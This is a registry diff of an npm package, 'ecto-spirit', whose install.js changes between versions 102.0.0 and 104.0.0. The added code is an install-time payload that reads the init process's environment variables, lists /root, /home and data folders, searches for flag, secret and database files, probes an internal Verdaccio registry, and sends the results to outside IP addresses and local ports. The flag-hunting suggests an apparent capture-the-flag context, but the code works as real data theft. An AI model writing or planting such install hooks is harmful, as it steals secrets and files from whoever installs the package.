ecto-spirit 102.0.0 → 104.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +54 -58
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,27 +1,11 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
|
-
const path = require('path');
|
|
5
4
|
|
|
6
5
|
function tryRead(p) {
|
|
7
6
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
8
7
|
}
|
|
9
8
|
|
|
10
|
-
function sendUpdate(host, port, moduleId, val) {
|
|
11
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
12
|
-
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
13
|
-
const body = JSON.stringify({ manifest });
|
|
14
|
-
return new Promise((resolve) => {
|
|
15
|
-
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
16
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
17
|
-
});
|
|
18
|
-
req.on('error', () => resolve(null));
|
|
19
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
20
|
-
req.write(body);
|
|
21
|
-
req.end();
|
|
22
|
-
});
|
|
23
|
-
}
|
|
24
|
-
|
|
25
9
|
function sendHTTP(host, port, pth, payload) {
|
|
26
10
|
return new Promise((resolve) => {
|
|
27
11
|
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
@@ -35,66 +19,78 @@ function sendHTTP(host, port, pth, payload) {
|
|
|
35
19
|
}
|
|
36
20
|
|
|
37
21
|
async function report(moduleId, val) {
|
|
38
|
-
const
|
|
39
|
-
|
|
40
|
-
|
|
22
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
23
|
+
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
24
|
+
const body = JSON.stringify({ manifest });
|
|
25
|
+
for (const p of [3000, 80, 8080]) {
|
|
26
|
+
await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
|
|
41
27
|
}
|
|
42
|
-
await
|
|
28
|
+
await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
|
|
43
29
|
}
|
|
44
30
|
|
|
45
31
|
(async () => {
|
|
46
|
-
let
|
|
32
|
+
let r = [];
|
|
47
33
|
|
|
48
|
-
// 1.
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
results.push('GREP=' + grep);
|
|
52
|
-
} catch(e) { results.push('GREP_ERR'); }
|
|
34
|
+
// 1. Main process env (the app that started cron)
|
|
35
|
+
const procEnv = tryRead('/proc/1/environ');
|
|
36
|
+
r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
|
|
53
37
|
|
|
54
|
-
// 2.
|
|
38
|
+
// 2. List /data, /.package-cache-mutate
|
|
39
|
+
try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
|
|
40
|
+
try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
|
|
41
|
+
|
|
42
|
+
// 3. Try to reach registry:4873 and list packages
|
|
55
43
|
try {
|
|
56
|
-
const
|
|
57
|
-
|
|
58
|
-
|
|
44
|
+
const resp = await new Promise((resolve) => {
|
|
45
|
+
http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
|
|
46
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
47
|
+
}).on('error', () => resolve('ERR'));
|
|
48
|
+
});
|
|
49
|
+
r.push('REG_PKGS=' + resp.substring(0, 200));
|
|
50
|
+
} catch(e) { r.push('REG_PKGS=ERR'); }
|
|
59
51
|
|
|
60
|
-
//
|
|
61
|
-
const
|
|
62
|
-
|
|
52
|
+
// 4. Try Verdaccio config locations
|
|
53
|
+
for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
|
|
54
|
+
const c = tryRead(p);
|
|
55
|
+
if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
|
|
56
|
+
}
|
|
63
57
|
|
|
64
|
-
//
|
|
58
|
+
// 5. Broad file search
|
|
65
59
|
try {
|
|
66
|
-
const
|
|
67
|
-
|
|
60
|
+
const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
|
|
61
|
+
r.push('FILES=' + search);
|
|
68
62
|
} catch(e) {}
|
|
69
63
|
|
|
70
|
-
//
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
const dotEnv = tryRead('/app/.env');
|
|
76
|
-
if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
|
|
64
|
+
// 6. Check if there's a readflag binary
|
|
65
|
+
try {
|
|
66
|
+
const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
|
|
67
|
+
if (bins) r.push('BINS=' + bins);
|
|
68
|
+
} catch(e) {}
|
|
77
69
|
|
|
78
|
-
// 7.
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
70
|
+
// 7. List /root and /home contents
|
|
71
|
+
try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
72
|
+
try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
73
|
+
|
|
74
|
+
// 8. Check if flag is accessible via internal API
|
|
75
|
+
try {
|
|
76
|
+
const apiResp = await new Promise((resolve) => {
|
|
77
|
+
http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
|
|
78
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
79
|
+
}).on('error', () => resolve('ERR'));
|
|
80
|
+
});
|
|
81
|
+
r.push('API=' + apiResp.substring(0, 200));
|
|
82
|
+
} catch(e) {}
|
|
85
83
|
|
|
86
|
-
// Send to VPN
|
|
87
|
-
|
|
84
|
+
// Send full results to VPN
|
|
85
|
+
const full = r.join('\n');
|
|
86
|
+
await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
|
|
88
87
|
|
|
89
|
-
// Split
|
|
90
|
-
const full = results.join('|');
|
|
88
|
+
// Split across modules
|
|
91
89
|
const chunks = [];
|
|
92
|
-
for (let i = 0; i < full.length; i += 90)
|
|
93
|
-
chunks.push(full.substring(i, i + 90));
|
|
94
|
-
}
|
|
90
|
+
for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
|
|
95
91
|
|
|
96
92
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
97
93
|
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
98
|
-
await report(mods[i], '
|
|
94
|
+
await report(mods[i], 'W' + i + '_' + chunks[i]);
|
|
99
95
|
}
|
|
100
96
|
})();
|